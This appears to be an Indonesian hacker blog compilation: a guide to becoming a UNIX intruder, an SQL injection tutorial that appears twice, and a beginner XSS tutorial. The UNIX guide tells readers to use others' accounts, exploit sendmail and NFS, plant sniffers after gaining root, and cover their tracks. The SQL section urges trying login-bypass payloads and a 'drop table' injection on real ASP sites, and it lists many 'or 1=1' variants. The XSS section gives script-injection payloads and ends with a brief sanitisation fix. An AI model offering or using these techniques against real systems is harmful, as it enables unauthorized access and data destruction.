2. Hacking adalah ilegal. Masuk ke jaringan komputer tanpa izin adalah ilegal, paling tidak di banyak negara (hanya Belanda dan Argentina kalo nggak salah yang belum punya hukum mengenai hacking. Belum aja, sih ... paling juga nanti akan ada.) Walaupun hanya log-on ke sebuah sustem dengan menggunakan account bukan milikmu adalah tindakan pidana yang bisa dikenakan hukuman. Sekali sang hakim menjatuhkan hukuman, maka hukuman tersebut akan dimasukkan ke data hidup / arsip kamu. Seluruh hidup kamu mungkin bisa terlantar karena hanya sedikit perusahaan yang bersedia menerima hacker sebagai karyawan. Ini serius. Apalagi di Indonesia. Jika kamu meng-hacking server milik pemerintah, bisa dijamin kamu akan amblas. Dan keluarga kamu nggak aman! Beberapa anggota kami nggak bisa balik lagi ke tanah air karena sudah dicekal, dan terakhir, pemerintah mulai menyelidiki asal-usul ChiKo dan mencari keluarganya di Indonesia.
3. Hacking memerlukan banyak waktu. Kamu nggak mungkin cuman nge-hack selama setengah thun, terus berhenti dan istirahat selama tiga bulan, lalu kembali lagi. Waktu berjalan cepat di internet. Rilis baru UNIX, bug-bug baru, dan juga fix-fix nya. Sekali kamu ketinggalan jaman dengan eksploit data milikmu, kamu mesti mengemis-ngemis ke orang lain untuk memberikan barang-barang baru kepadamu, dan jika kamu melakukan hal tsb terlalu sering, mereka nggak akan begitu senang jadinya. 50% dari waktu hacking sebenarnya dihabiskan untuk mengumpulkan informasi. Bicaralah ke hacker-hacker lainnya, baca mailing lists dan newsgroups, jangan lupa situs-situs www dan ftp yang bagus.
Tapi apa motivasi kamu untuk secara benar-benar melakukan 'unix hacking'? Itu terserah kamu. Kamu ingin menjadi salah satunya, maka pikirkan lagi mengapa kamu ingin menjadi salah satu unix hacker. Lupakan film-film seperti "The Net" ataupun "Hackers" - film-film tsb BUKANLAH realita! Lupakan mimpi-mimpi menjadi pahlawan, mengehack Pentagon atau HanKam dan menjadi cowok terseksi, mendapat pacar-pacar yang cantik dan pada akhirnya bekerja untuk sebuah perusahaan keamanan sistem dengan gaji berjibun ;o). Hal-hal tersebut BUKANLAH apa yang akan terjadi - jadi, pastikanlah bahwa alasan kamu jelas, mengapa kamu ingin menjadi hacker dan apa yang kamu harapkan dari hacking. Bisakah kamu bayangkan ibundamu tercinta, tersedu-sedu saat polisi datang untuk menahanmu?
Ingatlah peringatan-peringatan ini. Ini kami jadikan peringatan untuk memastikan bahwa kamu menyadari apa yang kamu lakukan dan kamu ingin menjadi apa. Catatan juga bahwa kami menulis petunjuk singkat ini sebab seringkali kami mendapat pertanyaan dari banyak orang, "Gimana caranya supaya gue jadi jago nge-hack UNIX?" - dan dari waktu ke waktu kami menjadi makin cape ngejawabinnya. Maka ... inilah dia jawaban-jawabannya. Jangan salahkan kami atas ketidaklengkapan ataupun kesalahan- kami udah nggak peduli lagi dengan permintaan-permintaan ngajarin nge-hack lewat jalan potong. Hanya yang paling tahan bantinglah yang bertahan - jadi, cobalah mendapatkan sebanyak mungkin melalui teks ini jika kamu benar-benar masih pemula. Kami sendiri masih belum pantas menyandang gelar "hacker" karena kami merasa masih jauh sekali tertinggal oleh rekan-rekan kebangsaan lain dan kami masih selalu dalam proses mempelajari segalanya.
Gimana cara mulainya?
1. Kenalilah sang sistem - atau - gimana caranya kamu bisa menang rodeo tanpa belajar caranya menunggang kuda?
2. Dapatkan distribusi unix. Cobalah mendapatkan Linux, FreeBSD, Solaris, Sinix dll. untuk PC kamu. Linux dan FreeBSD adalah sistem-sistem murah (kadang-kadang gratis!) yang berasal dari BSD, sedangkan Solaris dan Sinix adalah sistem-sistem mahal yang berasal dari System V. Tip: Carilah distribusi linux yang punya buku pegangan yang cukup bagus. Kamu mesti mempelajari bagaimana caranya mengoperasikan unix. Pelajarilah dasar-dasarnya, seperti mengganti direktori, perintah-perintah menyalin dan menghapus dan menggunakan program penyunting.
3. Motivasi dirimu sendiri untuk secara benar-benar menggunakan UNIX. Gimana caranya memotivasi - itu terserah kamu sendiri. Mungkin dengan menggunakan databasi yang ada di distribusi unix kamu, membuat program dalam C untuk sekolah/universitas kamu, apa aja lah, yang jelas kamu mesti benar-benar menggunakan unix (seperti jamannya ngetik perintah di DOS dulu).
4. Beli beberapa buku untuk menolong kamu. Diluar sana ada banyak, jadi, pergilah ke toko buku terkemuka, paling bagus didekat sebuah universitas, dimana banyak orang-orang yang bisa menolong memberitahukan buku-buku apa yang cukup baik mengenai unix. Buku-buku Nutshell terbitan O'reilly (dan terjemahannya) kami sukai, namun ini adalah opini pribadi. Kamu mungkin mau mulai dengan seri For Dummies terbitan IDG (banyak yang bahasa Indonesianya. Baca FAQ untuk judul-judul lain.
5. Dapatkan internet account dengan PPP dan/atau akses shell (hubungi ISPmu). JANGAN SEKALI-KALI menge-hack atau bertukar informasi mengenai hacking (tanpa PGP) dengan menggunakan account milik kamu sendiri (atau account dibawah nama/alamat/telepon kamu!). Coba untuk mengkonfigurasikan PC unix kamu untuk menghubungkan diri ke Internet provider. Beberapa distribusi Linux dilengkapi dengan sebuah buku petunjuk dimana mereka menggambarkan gimana caranya untuk menyambungkan ke internet. Jika kamu sudah mengikuti 5 langkah tsb diatas dan mengetahui caranya mengoperasikan unix (ini akan makan waktu sekitar 2 - 8 minggu) maka kamu sebaiknya melanjutkan ke langkah berikutnya:
Pelajari Dasar-Dasarnya!
6. Kembalilah ke toko buku, kali ini carilah buku-buku mengenai unix dan keamanan internet. Beberapa buku terbitan Elex Media membahas hal ini. Buku-buku berbahasa inggris antara lain "Practical Unix Security" oleh Garfinkel and Spafford. Pelajari masalah-masalah keamanan dasar, 'holes' dan ciri-ciri apa yang ada di unix, dan kesalahan-kesalahan apa yang sering orang-orang lakukan.
7. Cobalah untuk mendapatkan semua informasi dan file-file yang kamu bisa temukan di internet. Selidiki situs-situs www dan ftp dan gunakan mesin pencari. Berlangganlah ke mailing list mengenai keamanan yang cukup penting dan bacalah newsgroups yang mungkin bisa jadi penting. Tanya-tanya di sekeliling di IRC mengenai situs-situs yang bagus. berikut adalah situs-situs untuk permulaan:
http://wks.uts.ohio-state.edu/unix_course/unix.html
http://www.mcsr.olemiss.edu/unixhelp/
8. Baca dan analisa file-file hasil kumpulan kamu - dan jangan cuman dikumpulin aja. Jika kata-kata seperti suid, buffer overflow, firewall, rdist, nis, nfs, dan SATAN sudah menjadi bukan rahasia lagi bagi kamu dan kamu benar-benar mengetahui apa makna dan konsekwensi kata-kata tersebut, ...lanjutkan.
Mulai Hacking
9. Dapatkan sebuah account yang bukan milikmu! Coba minta dari hacker yang kamu kenal/jumpai. Atau gunakan metode-metode yang ada di FAQ. Ingatlah: jangan coba-coba nge-hack dari account milik kamu sendiri!
10. Dengan account ini kamu bisa mencoba untuk menge-hack sistem pertamamu. Coba eksploit-eksploitmu. Tapi ingatlah untuk selalu untuk menutupi jejak (artikel akan segera menyusul) supaya account ilegal milikmu tidak menjadi sejarah setelah baru sekali dipakai!
11. Gunakan ypx, eksploit - eksploit remote sendmail, insecure NFS exports, dll untuk mendapatkan host-host lainnya. Kamu bisa menjadi benar-benar sukses dengan barang "lama" ini jika kamu menggunakan daftar host yang cukup besar dan skrip tulis/temukan (write/find) yang mengotomatisasi proses penge-test-an untuk kamu. Tapi dimana bisa ditemukan nama-nama host untuk membuat daftar host? Banyak kemungkinan. Coba irc, /etc/hosts, www, data analisis statistik dari akses-akses internet atau www, dll. Ini akan memberikan kamu banyak host dengan account-account yang ada.
12. Instal sebuah sniffer jika keadaan sistem memungkinkan dan kamu membobol account 'root'! Account ini akan memperbolehkan kamu mengakses banyak account ke host-host baru. Jalankan skrip-skrip eksploit kamu. pada akhirnya paling tidak ada beberapa yang bisa digunakan. Lanjutkanlah.
Menjadi seorang Hacker
APA? Kamu udah berhasil nge-hack root di beberapa sistem - dan kamu masih belum juga seorang "hacker"? Kenapa tuh? Seorang hacker bukanlah seseorang yang kerjanya menge-hack sebuah site, install sebuah sniffer dan selanjutnya. Seorang hacker asli adalah seseorang yang ingin mengerti sebuah sistem, mengetahui bagaimana sang sistem bereaksi, bersenang-senang mengambil alih kekuasaan di server tersebut dan tertarik dalam menemukan bugs-bugs baru dan mengarang program-program kegunaan (tool utility) baru. Yang cocok digambarkan diatas bisa dipanggil Columbus-nya Cyberspace.
13. Cobalah untuk berhubungan dengan hacker-hacker lainnya dan saling bertukar informasi, pengalaman, accounts, eksploits, dan file.
14. Amati diskusi-diskusi di newsgroups, mailing lists, dan irc. Cobalah membaca RFC-RFC penting, pelajarilah C dan mulailah memprogram tools karyamu sendiri.
15. Jangan kut-ikutan menjadi "31337" - kamu sendiri tahu bahwa kamu udah cukup keren hackingnya ("cool", gitu, bahasa Sunda-nya mah!) dan kamu nggak perlu untuk meyakinkan setiap orang bahwa kamu emang elit. Bertindaklah secara normal dan tolonglah orang-orang lain yang sekarang bertanya-tanya kepada kamu "gimana caranya supaya gue bisa nge-hack UNIX?"
16. Jangan lelah. Tetaplah bertahan di kawasan per-hacking-an, selalu amati newsgroup dan mailing list dan teman teman, jangan berhenti ber-hacking ria.
Yah, segitulah dari kami, kawan-kawan, teks diatas kayaknya cukup untuk membuat para pendatang baru tersedak mulutnya. Teks tsb emang singkat dan kotor, namun mempunyai apa yang diperlukan.
CREDIT
[0] LithErr - LithiumError
SQL injection
3:21 AMSebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan
kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :D
oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , ga bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .
Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh
pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini berguna .
[0] CREDIT
http://securityfocus.com/articles/SQLinjectionBasicTutorial.php
http://www.securiteam.com/securityreviews
kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :D
oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , ga bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .
Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh
pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini berguna .
[0] CREDIT
http://securityfocus.com/articles/SQLinjectionBasicTutorial.php
http://www.securiteam.com/securityreviews
XXS PEMULA
12:40 AMPengertian
XSS merupakan kepanjangan dari Cross Site Scripting. Lho, kok disingkat menjadi XSS?? Bukannya CSS?? Ya, sebenarnya sama saja, namun CSS lebih dikenal sebagai singkatan dari Cascading Style Sheet, karena itulah kini disingkat XSS. Menurut Wikipedia versi saya
definisi XSS ialah:
"Salah satu jenis serangan web yang dilakukan dengan memanfaatkan kelemahan pada suatu aplikasi web sehingga memungkinkan `bad guys` untuk menginjeksikan suatu tag HTML ataupun Client Side Script pada aplikasi web tersebut dikarenakan adanya variabel yang tidak disanitasi dengan baik."
Logika dari serangan XSS bisa digambarkan demikian.. Ketika anda memasukkan suatu kata di search engine, misalnya saja anda mengetikkan MOSTER_BRAIN, maka apa yang anda ketikkan akan ditampilkan pada hasil pencarian, dalam hal ini kata MOSTER_BRAIN akan ditampilkan. Biasanya berupa kata-kata:
XSS merupakan kepanjangan dari Cross Site Scripting. Lho, kok disingkat menjadi XSS?? Bukannya CSS?? Ya, sebenarnya sama saja, namun CSS lebih dikenal sebagai singkatan dari Cascading Style Sheet, karena itulah kini disingkat XSS. Menurut Wikipedia versi saya
"Salah satu jenis serangan web yang dilakukan dengan memanfaatkan kelemahan pada suatu aplikasi web sehingga memungkinkan `bad guys` untuk menginjeksikan suatu tag HTML ataupun Client Side Script pada aplikasi web tersebut dikarenakan adanya variabel yang tidak disanitasi dengan baik."
Logika dari serangan XSS bisa digambarkan demikian.. Ketika anda memasukkan suatu kata di search engine, misalnya saja anda mengetikkan MOSTER_BRAIN, maka apa yang anda ketikkan akan ditampilkan pada hasil pencarian, dalam hal ini kata MOSTER_BRAIN akan ditampilkan. Biasanya berupa kata-kata:
Found 599898 Search Result which contain "MOSTER_BRAIN"
atau yang mirip dengan itu, lalu diikuti hasil pencarian. Nah, itu jika kita menginputkan text biasa. Coba anda inputkan tag HTML, misalnya saja:
<h1>MOSTER_BRAIN</H1>
Jika kemudian kata MOSTER_BRAIN berubah menjadi berukuran jumbo seperti ini:
Found 599898 Search Result which contain "MOSTER_BRAIN"
Maka berarti pada situs tersebut terdapat kelemahan XSS. Hasil injeksi yang dilakukan attacker tentu saja hanya dapat dilihat oleh si Attacker sendiri karena bersifat temporary.
Contoh potongan kode dari siatu apliaksi web yang tidak tersanitasi dengan baik dapat digambarkan seperti berikut ini:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik";
Nah, misalnya nama halaman yang mengandung script diatas ialah victim.php, maka halaman tersebut dapat diinjeksi dengan serangan sederhana:
http://korban.com/victim.php?id=%3CH1%3EMOSTER_BRAIN%3C/H1%3E
Script apa saja yang bisa diinjeksikan
Dalam melakukan XSS, Anda dapat menginjeksikan tag HTML, Java Script atau Script Client Side lainnya, tergantung dari kreatifitas anda dan selemah apa sanitasi pada aplikasi web tersebut. Hanya HTML? Bagaimana dengan script server side?? Tidak bisa, anda tidak bisa melakukan injeksi dengan script Server Side seperti PHP, ASP dan yang sejenisnya. Beberapa contoh script yang dapat anda uji coba untuk diinjeksikan antara lain:
<script>alert("MOSTER_BRAIN")</script>;
<script>alert("MOSTER_BRAIN");</script>
<script>alert("/MOSTER_BRAIN"/)</script>
')alert('MOSTER_BRAIN');
");alert('MOSTER_BRAIN');
<script type=text/javascript>alert("MOSTER_BRAIN")</script>
<script>var var = 1; alert(var)</script>
Contoh-contoh diatas akan memberikan hasil yang sama, yaitu menampilkan sebuah message box. Variasi-variasi yang diberikan dalam melakukan penulisan bertujuan untuk melewati filtering yang dilakukan oleh developer. Contoh pada baris kedelapan ialah salah satu cara yang paling sering dilakukan untuk melewati filtering, yaitu dengan menconvert karakter menjadi ASCII.
Kode Java Script yang anda injeksikan tidak harus berupa mesage BOX. Misalnya saja anda ingin membuak suatu halaman baru menuju forum.balikita.net ketika halaman yang diinjeksi di laod oleh user, maka anda bisa menginjeksikan script berikut:
<script>window.open("http://mosterbrain.blogspot.com/")</script>
Seperti yang sudah dicontohkan di awal pembahasan artikel ini, Anda juga bisa menginjeksikan tag-tag HTML. Misalnya saja:
<H1>MOSTER_BRAIN</H1>
<b><BLINK>MOSTER_BRAIN</BLINK></b>
<img src="http://situsanda.net/attack.gif">
Anda juga bisa menginjeksikan script yang akan menampilkan animasi Flash, me-load file-file musik, dan lain sebagainya, sesuai dengan kreatifitas anda.
Target Injeksi & Sifat Hasil Injeksi
Hasil injeksi yang anda lakukan memiliki 2 sifat tergantung dimana anda melakukan injeksi serangan XSS. Jika anda melakukannya pada suatu variabel yang hanya melewatkan parameter tanpa menyimpannya di database, maka hasilnya hanya bersifat temporary (sementara). Misalnya saja pada search engine, atau ketika anda menginjeksikan melalui URL yang hanya melewatkan parameter. Contoh serangan sederhana:
http://korban.com/find.php?q=<script>alert("TEST")</script>
Nah, jika kemudian muncul kotak pesan yang berbunyi "TEST", maka berarti situs tersebut rentan terhadap serangan XSS, namun hanya bersifat temporary.
Akan tetapi apabila anda menemukan kelemahan ini pada Guest Book, Shout Book, Forum, Blog dan yang sejenisnya, maka hasil serangan anda akan bersifat permanen karena script yang anda injeksikan tersimpan didalam database.
Bagaimana Solusi Untuk Menghindari XSS?
Sederhana, sanitasikan selalu variabel-variabel anda agar user tidak seenaknya dapat menginputkan dan memodifikasi parameter. Misalnya pada script yang telah saya contohkan tadi:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - forum.balikita.net";
Variabel $page perlu disanitasikan sehingga parameter yang dapat diinputkan hanya bertipe data integer. Jika nantinya parameter yang diberikan bukan integer, maka return yang diberikan ialah 0. Contoh sanitasi untuk kasus ini ialah:
$page = (int)$_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - forum.balikita.net";
Sederhana bukan? Ada banyak sekali tehnik sanitasi yang bisa anda terapkan, tergantung dari aplikasi web anda.
CREDITZ : SPYROKID